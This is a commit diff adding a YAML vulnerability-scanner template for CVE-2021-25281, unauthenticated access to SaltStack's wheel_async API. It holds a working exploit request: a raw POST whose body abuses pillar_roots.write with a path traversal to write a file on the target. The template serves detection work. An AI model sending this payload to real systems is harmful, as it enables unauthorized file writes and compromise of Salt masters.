Merge pull request #961 from Mad-robot/master

CVE-2021-25281 wheel_async unauth access

cves/2021/CVE-2021-25281.yaml

@@ -0,0 +1,40 @@
+id: CVE-2021-25281
+
+info:
+  name: CVE-2021-25281 - SaltStack wheel_async unauth access
+  author: madrobot
+  severity: critical
+  reference: http://hackdig.com/02/hack-283902.htm
+  description: The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.
+  tags: cve,cve2021,saltapi,rce,saltstack
+
+requests:
+  - raw:
+      - |
+        POST /run HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/json
+        Content-Length: 173
+        Connection: close
+
+        {"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "return"
+          - "tag"
+          - "jid"
+          - "salt"
+          - "wheel"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200